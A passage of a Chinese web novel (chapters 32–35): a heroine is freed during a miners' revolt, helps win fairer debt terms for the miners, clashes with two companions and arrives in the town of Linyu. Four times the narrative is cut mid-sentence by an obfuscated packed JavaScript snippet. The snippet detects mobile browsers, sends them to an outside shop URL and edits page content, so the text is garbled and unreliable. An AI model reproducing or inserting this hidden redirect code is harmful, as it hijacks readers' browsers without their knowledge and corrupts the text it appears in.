老矿工点点头:“现在不配了。他一辈子都搭在这矿上,我要求结钱,他人没了,家里还有亲人,按照之前说的,扣了食宿银子。” 管事“哈”了一声,往前走了两步:“你们这是要闹事儿?” 人群中传来低哑的声音:“他在矿里伤的,在矿里死的,人不能白死。” “就是!”有人附和:“一条命搭进去了,却连个明白都见不着!” 有人开头,情绪就再也压不住了。原本低着头的人开始抬头,原本只敢在心里骂一句的人开始往前走,原本有疑惑的人也不再需要虚假的答案。 管事心里发慌,他看得出来,这些人是要闹事儿,可真要动手,他又难保能对这么多人。 他开口安抚道:“账什么的明个儿看,这都什么时候了,你以为账房先生不休息的?赵三没了,之前说好的银子也一定会给他的亲人,之前不都是这么处理的吗?” 听他这么说,人群中有人开始退步,为了一个人闹,不值当。 就在这时,远处的坡道上传来一阵马蹄声。人群下意识一阵骚动,有人往里缩,有人朝声音的方向张望。 两匹马从山道下来,为首那人穿着普通青衫,身姿笔直,气质很冷。在他身后的马背上是县令,以及后面奔跑的衙役。 “县令来了?”有人低声嘟囔一句。 “报官倒挺快。” “县令是什么好东西?都是和矿里一起的。” 管事的一见县令,立刻笑嘻嘻走上去,拱手道:“大人。” 县令偷看了温麟趾一眼,又看着矿场门口这幅模样,心里大叫不好,如果单单救人也就罢了。人放出来,赔个不是,还能糊弄过去。可如今…… 他清了清嗓子:“这是怎么了?” “今日矿上有个矿工,名为赵三,背矿的时候摔了,人没了,他们在替他难受呢。想要银子回去给赵三的亲人,这不是天色晚了,我和他们说账房休息了,正在劝呢,可他们却不听,非要现在。还请大人给个明断。”他说着说着,抬头看见温麟趾,心里警钟敲响,但究竟是什么,又说不出来。 陆居平站在人群偏后,冷声说道:“赵三倒下的时候,县衙可没来人,如今矿口站了人,他倒来得快,还带了衙役,能是什么好心?” “对,听他们说,每次都听,听到最后有什么?”有人附和。 辛圭在小黑屋里,紧紧看着门外的方向。 情绪场里,突然多出来一股截然不同的气息,不是矿工的火,也不是管事的冰冷贪欲,而是一片极深、极静的水,压在翻涌的灰雾之上。 水没有去浇灭火,而是把火逼得更为集中。 她认出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906019|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,是温子修。 矿门口。 县令急着把眼前的情况抹掉,说了句:“都说了明个儿看账,都还杵在这儿干什么呢?” 陆居平懒声道:“每次都是明个儿,上次说明个儿的时候,赵三还站得起来,现在他躺着了,你们还要等明个儿?” “对啊!上次王二七死的时候,也说明天给看。”“再上次是谁来着?”“当初写条子入矿的时候,可说得不是这样,也没提明个儿。” 零零碎碎的声音在风里炸开,火星落入干草堆里。 老矿工红着眼,忽然抬起头:“你们每次都让我们听你们说。我们听了十几年,耳朵都要长茧子了。这回该你们听一回了。” 有人跟着吼了一声:“对!这回轮到他们听!” 声音不整齐,却一浪高过一浪。 “你们这是造反!县令还在这儿呢!”管事骂道:“造反可是要——” 一块石头“啪”地落在他脚边。 不知道是谁先动的手,第二块,第三块石头跟着飞过来,打手们下意识握紧手里的木棍,往前挤了一步。 “谁扔的?!”管事的骂了一句:“你们别以为自己现在逞能,当大英雄了!今天那个管闲事儿的,现在也在矿里关着。你们以为自己是什么东西?” 县令闻言身子一抖,转头去看温麟趾,却看见他只在看不远处的矿洞,下一个瞬间,他人已经驾马冲了进去。 “这……这……”县令犹豫片刻,心里暗下决定,眼看着这御史似乎不在意矿上的情况,更在意的是那个丫头,也就是说——他眼色发暗,冲身边的衙役说道:“给他们都按下去!” 辛圭站在小黑屋里,能清楚地听见外头的动静越来越乱。有人在大声喊,有东西砸在地上,也有人在跑动,脚步声杂乱。 她本来想继续辨别情绪的流向,却突然在那堆嘈杂里,捕捉到了一丝不同的节奏。 一步、两步,速度很快,也很稳。 不像矿工,也不像打手在巡。 是那片深井一样的冷水,已经脱离了矿门的那团火,正在沿着矿道往下走。 门口传来脚步声。 “成圭?”是温麟趾的声音。 “我在。”辛圭答道。 “咣”的一声闷响,是有东西被狠狠砸在锁舌上,铁件发出一声痛苦的哀鸣。 紧接着是第二下、第三下,直到小黑屋的门被从外面慢慢推开一道缝,火光从缝里挤进来,把辛圭身上的灰尘一点点勾出来。 她下意识眯了下眼。 门外那道身影逆着光站着,青衫上沾着一点灰,眼神仍旧很冷,却在看见她的瞬间,明显松了一寸。 “对不起。”他的声音低下来了:“久等了。” 辛圭盯着他看了两秒,忽然笑了一下:“安全责任人来得不算晚。” 她站起来,活动了一下被捆得发麻的手腕,又往外迈了一步。 矿道里的火光在这一刻悠悠一荡,像是整个矿洞都随之一颤。 远处,矿门方向传来人群爆发出的又一阵喊声,像浪头拍在岸上。 上面那把火已经烧起来了。 而下面,辛圭往前走了两步,拉着温麟趾的衣襟向下,她垫着脚,将额头贴在对方的额头上,轻声说:“你的温度突然提升了,是因为我吗?” 【情绪场记录·样本004补充 形态:井面原本已经有碎冰了,却突然随着光一起消失。 推测:是因为成功救了我。】 【情绪场记录·样本004补充 形态:井面翻涌。 推测:是因为我猜到了他的想法。】 32. 第 32 章 矿道狭窄,火光将两人的影子拉扯得支离破碎。 突如其来、意料之外的动作使温麟趾僵立在原地。额间传来的触感细腻而微凉,他甚至能闻到辛圭发间那股淡淡的、混合了煤灰与某种清冽气息的味道。 距离太近,举止亲昵,她在看他,长长的睫毛轻轻颤动,但那双黑白分明的眼睛里却没有半分羞赧。 他感觉到胸腔里的跳动震耳欲聋,是一种奇异的,他并不了解的情绪。 “成圭。”他开口,嗓音沙哑得连自己都觉得陌生:“离远些。” 他伸出手,原本想推开她,但指尖触碰到她肩膀的瞬间,却又不自觉地改成了虚扶。 辛圭在脑海中飞快更新着记录: 【情绪场记录·样本004补充 形态:井水不仅在沸腾,热量已溢出表层,导致周围环境温度同步上升。 结论:该现象超出了《稳定人格维护手册·应急篇》的解释范围。】 “温子修,你……受伤了吗?”辛圭松开手,退后半步,歪着头看他,语气充满了疑惑。根据手册,这可能是某种强烈外部力量入侵导致的。 温麟趾长舒一口气,将那股几乎要将他烧化的热意强行压入心底,但悬在空中的指尖却几乎不可察觉的虚握了一下。他避开辛圭那过分清澈的目光:“没有。而且,这样的动作……不应该。” “为什么?这是最直接的感受方式。” 温麟趾转过身,不敢看她:“这是……规矩。” 辛圭微微蹙眉:【新世界规则补充:检测温度被列为隐私行为。 备注:样本004的规矩会增加信息获取的难度。】 “明白了。”辛圭点点头:“以后只对你。” 温麟趾深吸一口气,不再这个足以让他失控的话题上纠缠。外头浪潮般的喊杀声已近在咫尺,火把的光亮映红了半边矿道。 温麟趾回过头,神情恢复了以往的平静,或许也只是以极快的速度戴上了惯常的面具:“外面很乱,但不是在救人,而是在拱火。我先带你去医馆。” 辛圭突然想起,自己在光忆星的时候,是一个故事工程师。 在她的逻辑里,如果“稳定”是最高美德,那么此刻矿场门前的动乱就是一场会波及系统的灾难性故障。而她应该寻找故障的源头,而非离线。 她跟着温麟趾穿过矿道,站在一处可以俯瞰矿场入口的高台上。 矿场的景象,比她预想的更接近于某种野蛮的坍塌。 老矿工跪在赵三的尸体旁,像是一截烧焦的木头;县令在衙役的簇拥下,正颤抖着下令推搡人群;管事则躲在打手后面,脸上带着某种阴谋得逞的冷笑。 而在这一切混乱的边缘,辛圭看到了一抹灰影。 那是陆居平。 他站在阴影里,没有动,甚至连衣角都没有被风吹动。但在辛圭的眼里,整个矿场的情绪流向,那些愤怒、绝望和暴力,都汇成墨水,由那叠纸里流淌而出,汇聚向那个最危险的爆裂点。 或许,辛圭突然觉得,此刻的陆居平和自己在某种程度上很像,都是在书写故事。 只不过他的故事不稳定,很危险。 他想做的,是让这个系统彻底炸开。 辛圭同温麟趾回到医馆后,有些心不在焉,温麟趾看向她,过了片刻,问道:“你在想矿场?” 辛圭点了点头:“但我想不到办法。” 对于她来说,这显然已经超过了她的能力和职责范围,她可以在脑海中设想故事的各种后续,离奇的、平稳的、跳脱的、搞笑的,但是她想不到此时此刻,身为李成圭,她能做什么。 “为什么执着于救人?”温麟趾问。 他其实知道那个答案,这是大多数人的良善,但他觉得有更好的处理办法。 如果矿工闹得很大,他不仅可以顺藤摸瓜,找出他所怀疑的线索,也可以写信报给德明帝,以公主遇险为由牵扯出后续。 不在乎个人的得失,在意的是整体的局势。这是他,也是整个官场,甚至说各行各业不言自明的隐形规则。 但—— 辛圭想了想,开口道:“因为我觉得,好像没有人在乎一个人需要什么。”她斟酌着用词,说得很缓慢,但每一个字都敲进了温麟趾心中:“很久很久以前,人发明了工具,使用工具。但人自己,不应该是工具,也不应该被认为是工具。” 辛圭说完这些话,有些无力,因为她自己何尝不是光忆星的工具呢?又何尝不是因为不合格,被扔掉的呢? 但也或许因为这样,反倒和矿工们有了某种共鸣。 温麟趾沉默良久:“我的任务是保护你平安,今日我已经失职了。”他看着辛圭:“但是我可以再失职一次,去试试看。” “我可以装作不知道!”辛圭闻言眼睛亮了,转头看向杜掌柜:“杜叔也不知道,是不是!” 杜掌柜连连点头,他可是在县衙亲眼见到温长随的官印,他能说什么? 辛圭再次看向温麟趾,眼睛闪闪的:“你有办法?” “可以试试。”温麟趾微微笑了。 哪怕可能丢掉握在手中的线索,他深吸一口气:“我会尽快回来。” 温麟趾走了没多久,辛圭突然站起身,向外走去,杜掌柜连忙在后面叫她。 辛圭回头安抚杜掌柜:“是认识的人,我就在门外,不走远。” 她再次转身,看向院落里:“陆先生。” 辛圭的声音很轻,却准确地道出了陆居平此刻所在的位置。 陆居平从阴影中走出,脸上依然挂着那种淡得近乎透明的笑容。看见辛圭举止,他眼底闪过一丝惊讶,随即化作了更深的兴味。 “小姐。”陆居平微微欠身,仪态优雅,这与他此刻穿着什么样的衣服,亦或者是什么面貌无关:“你的行为,似乎并不符合‘李成圭’。” “李成圭是什么样,难道是由你定义的吗?”辛圭走到他面前三步远的地方站定。 在她的视野里,陆居平的情绪场呈现出一种极度理智的冷感。那些纸张折叠得如此精密,以至于连一丝多余的缝隙都无。 “不,是这个世界定义的。”陆居平看向矿场的方向:“在这个世界里,你这样商行的大小姐应该恃宠而骄,应该不会为陌生人而坚持,在被关起来后,你应该哭泣,应该依附,应该在恐惧中把灵魂交给强者。” “原来这里,每个人也有自己被设定好的角色吗?”辛圭轻声说道:“那你是什么?” “我?我正在为一些零件提供一个发声的机会。或许就是你所谓的救人。但我和你不一样,你只救一个人,我却可以救很多。” 辛圭直视他的眼睛:“赵三的死,是你引导的结果。你让老矿工把他抬出来,不是为了正义,而是为了制造一个不可逆的冲突点。” 陆居平的笑意深了一寸:“哦?证据呢?” “证据……”辛圭原本想说证据就在你的情绪场里,但这在新世界就像让鬼神作证明一般荒诞,她只好指了指他的胸口:“因为在这种情况下,你表现出来的是达成预期的愉悦,这不合常理。” 陆居平沉默了两秒。 “你到底是什么人?”他往前走了一步,压迫感如潮水般涌向辛圭。 “我是李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907580|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成圭。”辛圭没有后退:“我只知道,你在用别人的命,替你做引子,替你点火。” 陆居平哑然失笑。“可若不烧掉这些旧的,新的怎么长得出来?”陆居平的声音低了下来,带着某种诱导性的魔力:“李小姐,你难道不觉得,看着这些庸碌的生命在火焰中绽放出一瞬间的光芒,很有趣吗?” “有趣不能填饱肚子。”辛圭咬唇,她觉得胸口闷闷的:“也不能让赵三活过来。” 【实验手册·新世界感官记录015: 表现:记录者胸口闷躁,有攻击性的冲动。 疑似:生气。】 “所以呢?你想阻止我?”陆居平歪头看她:“太晚了。甚至今夜过后,成记行的大小姐被矿场挟持这件事,也会成为传言中的一部分,为这里的黑暗做个注脚。” “我不在意变成叙事里的一部分,我也无法阻止你。”辛圭看向矿场的方向:“但火的流向,会改变。” 登州府尹带来的兵和县衙汇合,在温麟趾的要求下挡住了矿工原本到处肆虐的情绪,只是单纯的把情绪输出给管事和打手。 如果不是温麟趾在,恐怕矿工会去破坏他们认为的罪魁祸首——矿洞,亦或者是矿场里的财产。那反倒成了实打实的罪状。 而温麟趾要求登州府和县衙清算账单与欠条,矿场当日与矿工结下新的合理条款。同时,也问清楚了那位冶官刘常的官印来历。 原来这位冶官刘常如今已经官迁青谷,当年的印鉴被矿场拿来和里正私相授受,用于坑骗矿工。巧合的是,他去的青谷,却恰好是思交镇木材的产地。 但这只是表面的说法,看似将县令和登州府都摘了出去,但实际上究竟是何等境况,私下又有多少藏污纳垢的事情,无人可知。 这么闹腾一番,该惊动的人也都惊动了,之后的线索便不会拱手送上门来。温麟趾知道,他也在反复问自己为何要如此做,但答案始终如一:因为她是对的。 当矿场的善后工作有序开始时,东方的天际已经泛起了鱼肚白。 温麟趾在那堆矿工中间处理完交接,浑身是灰,甚至连眼睫毛上都挂着白霜,他一眼就看见了站在矿场门口的辛圭。 他三步并作两步,一开始是走,后来却变成了跑。 “不是让你在医馆等吗?”他的声音带着余怒未消的颤抖。 辛圭看着他。温麟趾的情绪场已经恢复了深潭般的静谧,但在那静谧之下,她感觉到了某种比之前更浓郁、更灼热的流动。 她没有回答,而是走上前。 这次,她没有贴额头。她伸出纤细的手指,轻轻碰了碰温麟趾布满灰尘的侧脸。 “呼吸虽然略快,但没有受伤。”辛圭仰着头,在那抹晨曦中露出一个微小而生动的笑容:“不愧是安全负责人。” 温麟趾看着她,那张在他梦里模糊的脸,此刻却突然变得清晰了。 他突然伸手,顾不得身上的煤灰与脏污,一把将辛圭搂进了怀里。 “下次再敢乱跑。”他在她耳边咬牙切齿地低语:“我就把你绑起来。” 辛圭靠在他宽阔的胸膛上,听着那如鼓点般有力的心跳。 【情绪场记录·样本004补充 形态:井水彻底包围了我,但并不冷。 推测:这大概就是故事里说的战友的拥抱。】 而在不远处的山坡上,方启星正看着这一幕,他坐在医馆一晚,不敢进去不敢面对。天亮了又跟着辛圭一路到了矿场,看见的却是这样的场面。 他握紧拳,骨节泛白,看了一眼那两个人影,终究没下去,只是人转身回到雾气当中。 33. 第 33 章 登州府衙前的石阶还带着清晨的寒意,昨夜那场骚乱的人群,如今化作县衙门口排队置换欠条的队伍。 辛圭换了一身干净的棉布裙子,坐在马车边,手里拿了一包糖,趁人不注意,偷偷塞给小顺。 有矿工不放心,还跑到她边上,小心翼翼地问能不能帮忙看下。辛圭耐心给他们解释新条子上用工钱代替了借支,用工食代替了抵扣,和以前确实不同了。 几个矿工向她道谢后,互相拍拍肩,转身离去。辛圭则认真记录: 【新世界实验记录·登州 现象:通过改变“欠条”这一核心数据,系统的灾难性故障得到了有效修正。 样本反馈:矿工们的情绪场由红色火星平息下来。 结论:安全负责人能力很强。】 【新世界实验记录·登州 现象:从骚乱到排队。 结论:不能说好,因为问题没有得到根本的解决,只是暂时平息。或许这就是所谓的怀柔?】 “在看什么?”温麟趾走了过来。他已经换下了那身沾满煤灰的青衫,重新穿上了利落的长随劲装。虽然眼底还有一丝尚未褪去的血丝,但整个人又变回了那口深不见底的井。 只有辛圭知道,这口井昨晚溢出来过。 “看你的作业。”辛圭抬头:“你还没告诉我,你到底查到了什么?” 温麟趾站在她身侧,挡住了清晨微凉的风。 他沉默片刻,才压低声音开口:“刘常的印鉴只是个幌子。这矿场背后的铁料,一部分进了官仓,另一部分流向了淮南。这是目前的情况,在之前,这矿场产出的铁料和实际冶制兵器之间的数额与重量,就不是那么好查的了。” “淮南?那里有我们要去的地方吗?” “有。”温麟趾的目光掠过不远处的山坡,语气冷了几分:“刘常如今在青谷任职,印鉴却出现在登州,他只是被推出来的挡箭牌。” “这说明……” “说明背后的人比我们想象的要难查。而成记行的木材被掉包,恐怕也是这其中的一环。”温麟趾轻声说道:“但这不是你的职责范围,你是成记行出来行商的小姐,需要在年前把处处分行打点好。” “嗯。”辛圭点点头,在心里记下:【目标更新:淮南。】 她沉默片刻,又问温麟趾:“是我们没办法做到的吗?” 温麟趾看着她,突然理解了话本里那些为红颜一怒的人的想法——因为她想,所以忍不住想要给她,哪怕那东西极难获取,难于上青天。全因为不想让她对自己失望。 但他还是点了点头:“是。” 并非妥协,只是无法将世界烧尽,无法更换人心。 辛圭低下头,在自己的记录里记下: 【新世界实验手册:凡事总有力不能及之时。 自我反省:像在商州一样,卖了第一罐柿子酱,就想卖一百罐,这种没有尽头的感觉,或许就是贪欲。 注解:贪欲并非贬义。 注解:贬义的贪欲是因为将其他人作为代价。】 她低头的样子太像一只柔软的小兔子,温麟趾原本想揉揉她的头,最终手落下,抚慰似地拍了拍她的肩,“这并非你的错。” “嗯。”辛圭抬头看他,笑笑:“我知道,只靠一个人,是无法改变什么的。” 温麟趾手停在她肩上,对她所说的这句话,一时不知该做何种反应。 “温子修。”辛圭侧头看他:“那个拥抱,按理来说我应该给你反馈。但我还没想好那个反馈应该叫什么名字。” 温麟趾闻言手指猛地一紧,身上那股清晨的寒气似乎瞬间就被驱散了。他避开她过分清澈的视线,喉结动了动:“不必……你安全,就是最好的反馈。” 辛圭歪了下头,正要说话,一个阴阳怪气的声音从马车后传了过来。 “哟,看来我回来的不是时候,打扰两位交流心得了?”方启星斜靠在马车柱旁,身上还带着浓重的露水气息,显然在外面坐了一整夜。 他带着笑,但那笑意却没进到眼睛里,眼神很亮,却像是快要碎掉的星辰。 辛圭看向方启星: 【情绪场记录·样本005补充 形态:小星星彻底不见了,取而代之的是一种极度不稳定的、细碎的流光。 疑似情绪:委屈、愤怒、不甘,以及百分之三十的……自责? 结论:该样本目前处于多种情绪交织,无法理清的逻辑死机边缘。】 “还知道回来?”温麟趾眼神冷了些。 方启星直起身子,大步走到两人面前,语气满是讥讽:“原来还有人记得我在不在。” 温麟趾挡在辛圭面前,身姿如松:“小姐昨夜受惊,你若有情绪,冲我来。” “受惊?”方启星像是听到了什么好笑的笑话,他跨前一步,逼近温麟趾,声音压得极低:“我在山坡上看见了。我看她‘受惊’抱你抱得很紧。温子修,你是不是觉得,自己赢了?” 空气瞬间凝固。 温麟趾右手虎口已经压上刀镡:“方启星,慎言。” “慎言?”方启星转头看向辛圭,眼里那点碎光抖得厉害:“成圭,你告诉我。是不是谁救了你,你都可以对他那样?是不是只要能给你提供安全感,你就……” “停。”辛圭开口,声音不重,却硬生生地截断了他的后半句。 她站起身,走近方启星。方启星下意识想退,却被她那双黑白分明的眼睛钉在了原地。 “你的提问存在思绪混乱。第一,拥抱是情感波动的需要, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912492|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是结果,并非证明,更不是送出去的商品。第二,你并不是在问我需要谁,你问的是,你有没有被需要。第三……”辛圭停顿片刻,清楚地说了出来:“我很怕死。你问我需不需要一个人。是的,我需要,我需要一个人帮我把门打开。” 她说得太坦然,坦然到残忍。 方启星脸色微白,像是被话语打懵了。 辛圭沉默片刻: 【实验手册·新世界感官记录016:情绪竟然是会传染的,尤其是混乱的情绪。 017:我怕死。】 她在京城,在商州,时间虽然不长,但竟然快忘记自己是被光忆星扔出来的。 清除,在小黑屋里的时候曾无比清晰的浮现在脑海中。 她深吸一口气,缓声说道:“你也可以。” 方启星眼睛一下红了,像是被人从悬崖猛地拽了回来。原本那些伤人、自毁的话,在这一刻全都卡在了喉咙里,变成了狼狈,如鲠在喉。 他偏过脸,硬撑着笑:“你说得倒好听。” “方长随。”温麟趾的声音冷得像冰窟:“昨夜你失踪,是事实。” 方启星猛地抬头,像被刺痛:“我没失踪。” “那你去哪了?”温麟趾寸步不让。 方启星咬紧牙,喉结滚动,最终只挤出一句:“我有我的事。” 温麟趾冷笑:“你的事比她的命更要紧?” 方启星脸色刷地白了,眼底那点碎光彻底乱了。他想反击,却找不到任何词语,因为他自己也完全混乱了,究竟什么更重要。 “好了。”辛圭打破两人间的剑拔弩张:“每个人都有自己的秘密。我做了我认为很重要的事,温子修做了对于他来说重要的事,方启星去做了对于他很重要的事。” 温麟趾对辛圭说道:“小姐,马车已经备好了。” “好。”辛圭点头,极其自然地把手递给温麟趾,借力上了马车。 这动作落在方启星眼里,像最后一根刺。他站在车下,眼神发亮,却不敢再说一句“你凭什么”。 温麟趾回头看他一眼,语气平静:“你觉得,在最需要你的时候,你不在场,还能被信任吗?” 方启星的肩膀微微一颤。 他咬着牙,最终还是踏上马车,坐到另一侧,掀开帘子往外看。 马车缓缓驶离登州。县衙门前换领契单的矿工仍在高兴,可车厢里的气压却比矿洞还低。 辛圭坐在中间,左边是深井,右边是碎星,她却并不在意两人的情绪场变换,只是在想自己刚才的问题。 【阶段记录:样本情绪场发生冲突。 尝试解决办法:每日进行鼓励、安抚、夸奖等配额有限制。公平公正也许可以有效减缓样本004和005的不公平待遇感。】 34. 第 34 章 官道一路向南,风渐渐软了下来。 如果说等登州的风像铁片刮人,临余的风就像刚晒过的棉絮,只需轻轻一扑,就能把人衣襟里的冷意揉开。 马车颠簸数日,过了最后一道关口,拐出山隘,前方忽然亮了起来。 宽广的江面浩荡逶迤,水面上铺了碎银似的。 再往前走,将江水甩在身后,河网纵横,翘如弯月,白墙黛瓦沿着水线层层铺开。屋檐下的灯笼都好似被水洗过,颜色更显清透。 辛圭掀开帘子,眼睛微微睁大。 她闻到了一股气味。 并非煤灰,不是药渣,更不是过于成熟的柿子,而是米香,带着淡淡的甜,像有人在远处蒸煮米糕。再往里,还有桂花的香气,由巷子深处飘来。轻盈,美好。 她心头那积着的灰雾被吹散,露出一点久违的白。 【新世界感官记录·临余 气味:糯米、桂花、江水 备注:此地空气含糖。】 马车碾过桥面,正遇早市。 桥头有人在卖糖画,铜勺在小锅里一拧,拉出金线。孩子们围着看,喊声清脆。旁边摊子上是新炸的响铃,热气腾腾。还有卖香包的,绣着小鱼小莲小桂花,红绳一晃一晃。 辛圭盯着那只绣着平安的香包看了两秒,忽然伸出手摸了摸自己的袖口。 世界竟然可以这么不一样。 “停车。”她忽然开口。 车夫连忙勒马,温麟趾也抬眸。 “我想下去看看。”辛圭给自己找了个妥善的理由:“调查一下经商环境。” 方启星顺着她的目光看过去,笑了:“你的调查,怕不是买吃的?” “这也是其中的一个环节。”辛圭为自己辩解。 她跳下马车,脚踩在青石板上。这里的地面是温的,像被阳光提前烘过。 她回头看了一眼马车,对后面探出头的杜掌柜说:“杜叔,你先去分行,我逛完早市就去。” 温麟趾跟着下来,站在她身后半步,既不催她,但也不放她一个人乱跑。方启星也下了车,嘴上不情不愿,脚步却没落后。 辛圭走到糖画摊前,摊主是个笑眯眯的老人,头发有些花白,“姑娘想要画什么?” 辛圭看着桌面上手绘的图,想到在光忆星,自己看到的那张虚假的画面,答道:“画一只,小狗。” 糖画成形,金黄色的小狗在竹签上微微发亮,像一团被握住的小太阳。 辛圭接过来,咬了一口。 糖很脆,甜意冲上来的一瞬,她轻轻眯了一下眼睛,像一只餍足的小猫。 她往前走了两步,又停下,回头看向方启星,他正盯着那只小糖狗。 “你要不要也买一个?”她问。 她记得方启星喜欢糖,但温麟趾却曾经直言过自己不喜欢糖。 方启星别开脸:“我又不是小孩子。” 辛圭“嗯”了一声,转回身,又对摊主说:“再来一个。” 方启星猛地回头:“你——” 辛圭把第二只糖画递过去,笑:“你昨晚守夜辛苦了,需要补充糖分。” 方启星愣了两秒,接过来。这几日他都没想好怎么和他们说话,一直堵着气自己干活。如今却像接过一个不敢承认的和好,嘴上却还硬着:“我又不是因为你才守夜的。” “我知道。”辛圭点头:“你是为了商队。” 方启星:“……” 温麟趾看着这一幕,没说话,只是抬手将辛圭披风的扣子扣紧。动作很轻,却带着一种不容置疑。 辛圭没有躲,抬头对他笑了一下:“临余好像很好。” 温麟趾的声音低低的:“好就多走走。” 辛圭点头。 她忽然想起登州矿门口那团火。那火仍在她记忆里,很难烧进她心里。 因为她手里有糖。 因为她看见,世界也会给人一点点“好”。 沿着早市的方向过两座桥,一条临水的巷口就挂着成记行的旗,风一吹,像甩尾的锦鲤。 辛圭还没来得及看清分号的门脸,里面已经冲出来一群人。 打头的是个三十出头的妇人,眉眼利落,衣料看得出材质不错,样式却不浮夸。她一出来先扫了温麟趾一眼,又看了方启星一眼,最后才把目光稳稳落在辛圭身上,笑意像春水漫上来。 “哦哟,这就是小姐吧,我真是第一次见,但看着亲切,好像早就熟了似的。”她快步迎上来,规规矩矩行了礼,声音亲热得很:“临余分号掌柜,姓柳,早就盼着您来,一路可辛苦?” “柳……姐姐。”辛圭看她的模样,怎么都叫不出姨这个字,加上脑中浮现的【稳定人格维护手册·交际版第19条:遇到不熟悉的年长女性,给对方的称呼应当降一个辈分。女性并不喜欢被叫老。】 “嘴真甜。按年龄啊,你应该叫我姨,不过姐姐就姐姐。小姐有什么需要就和我说,咱们临余分号上上下下,全听您一句话吩咐。”柳掌柜笑着,握住辛圭的手:“小姐喜欢糖画?我让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918717|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人这就去给您买,十二个生肖一样一个。” “不不不。够了。谢谢。”辛圭一时有点不适应。不是怕,是柳掌柜的爽朗和照顾。 可柳掌柜显然觉得还不够,她回头喝了一声:“你们还愣着干什么?快把门槛撤了,地砖擦干净,咱们成记行的小姐到了!” 伙计们闻言呼啦啦散开,搬的搬,擦的擦,那架势恨不得把整条巷子的灰都抹平了。 柳掌柜这头已经将一件披风递了过来,笑眯眯的:“小姐,临余水气重,风虽然软,但往人骨头立钻,披上。” 辛圭还没接,温麟趾已经伸手,把披风拿过去。 动作很自然,也很理所应当。 他不看柳掌柜,只转向辛圭,低声说:“抬手。” 辛圭抬起手,披风落在肩上,温麟趾替她系好,指尖略停在她锁骨附近,像是在确认打的结是否牢靠。 柳掌柜看在眼里,眼睛微亮。 方启星在旁边嗤了一声,原本捏着的糖画险些掉在地上。他赶紧捞住,脸色更臭,糖都甜不进去了。 柳掌柜清了清嗓子,抿嘴笑,拉着辛圭往分号走,一边说:“小姐先进去歇歇。张妈给我写信都嘱咐好了,院里给你留了最舒服的房间,床单是新晒过的,按照春茶平日铺被褥的方式铺的,茶也备好了,桂花蜜水,是甜口的。” “甜的?”辛圭觉得心里满满的,她想张妈,想春茶,也想李府了。 “嗯。小姐喜欢甜,巧了,我也喜欢。” 方启星在旁边听见“甜”,脸色稍微缓和一些,像是终于在这个世界找回一点掌控感。他把手里还没吃过的糖画递给辛圭:“你刚才买多了,拿着。” 辛圭看了他一眼:“你不吃?” “我不爱甜。”方启星嘴硬。 辛圭“嗯”了一声,把糖画接过来,转手问一旁的柳掌柜:“柳姐姐,你吃吗?” 方启星:“……” 他脸一下子僵住,柳掌柜差点笑出声,赶紧用帕子掩住嘴角,接过糖画:“那我先拿着。” 方启星耳尖“唰”地红了:“你——你故意的吧?” 辛圭很认真:“不是,你刚才说你不喜欢甜,柳姐姐喜欢,我只是在优化分配而已。” 方启星气得深吸一口气,咬牙道:“我现在又喜欢了!” 辛圭点头:“好的,我记下来了。” 【样本005口味偏好:可随情绪实时变动。】 柳掌柜终于忍不住,笑了出来:“小姐真有趣。” 35. 第 35 章 后院安静的很。 一进小院,桂花味儿更浓,一棵金桂满枝丫的花,恰好挡住半边窗。廊下挂着两串风铃,风一吹,轻盈的叮当几声,并不扰人。 柳掌柜推开东南角的房门:“小姐,就是这间。张妈在信里千叮咛万嘱咐,说决不能挨着街,我就留了这间。” 屋里已经打扫的极干净,床榻靠内,褥子鼓鼓的,看上去就软。窗沿上摆着一个小瓷瓶,里面插着两枝刚折下来的桂花。就这么一枝,便足以让屋内飘满馨香。 “小姐觉得怎么样?”柳掌柜问。 辛圭看了一圈,才缓缓道:“这里……很好。” 